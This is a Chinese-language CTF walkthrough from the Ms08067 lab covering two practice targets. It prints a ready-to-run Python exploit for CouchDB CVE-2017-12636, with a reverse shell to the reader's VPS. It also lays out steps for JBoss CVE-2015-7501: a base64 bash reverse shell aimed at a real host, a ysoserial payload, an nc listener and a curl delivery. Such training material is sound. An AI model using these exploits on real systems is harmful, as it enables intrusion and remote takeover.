Taoing
“Ms08067专注网络安全技能培训 | 竞赛!“
号外号外,"Ms08067练武场" 最强劲的第二批选手打靶思路来啦。
官网链接:http://attck.ms08067.com/
一、couchdb 1.简介: Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式, JavaScript作为查询语言, MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台, Credit Suisse用在其内部的商品部门的市场框架, Meebo,用在 其社交平台(web和应用程序)。
在2017年11月15日, CVE-2017-12635和CVE-2017-12636披露, CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server ,这个配置项在设计、执行view的时 候将被运行。
2.影响版本 小于 1.7.0 以及小于 2.1.1
3.访问 访问http://27.25.151.24:24461/_utils/即可看到版本为1.6.0的 利用exp脚本:
#!/usr/bin/env python3 import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://xx.xx.xx.xx:xx'
command = rb"""sh -i >& /dev/tcp/vpsip/9002 0>&1""" version = 1
session = requests.session() session.headers = {
'Content-Type': 'application/json' }
#session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user",
"name": "wooyun",
"roles": ["_admin"], "roles": [],
"password": "wooyun" }''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s} |{base64,-d} |{bash,-i}'" %
base64.b64encode(command).decode() if version == 1:
session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command)) else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
将target和command中换成题目需要以及自己的vps信息,用python3执行即可拿到shell,查看环境变 量即可拿到flag。
二、CVE-2015-7501 漏洞: JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
步骤: 发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或者burpsuit对/invoker/JMXInvokerServlet发送ser文件→获得反弹shell
1.发现漏洞指纹 访问/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载
2.反弹shell编码 利用base64编码网站将vps的地址和端口进行编码,bash -i >& /dev/tcp/vps地址/端口 0>&1 https://www.toolhelper.cn/EncodeDecode/Base64
bash -c {echo,base64编码后的(bash -i >& /dev/tcp/vps地址/端口 0>&1) }|{base64,-d}|{bash,-i}
3.用ysoserial把编码好的反弹shell生ser文件 ysoserial包下载地址 https://github.com/frohoff/ysoserial
利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件
java-jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbi1mei1keC5zYWt1cmFmcnAuY29tLzI4ODQ0IDA+JjE=}|{base64,-d}|{bash,-i}">aufeng.ser
4.vps启动监听 Nc -lvvp 8888(端口和上面一致)
5.用curl发送ser文件 curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @aufeng.ser
6.获得反弹shell并查看flag
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!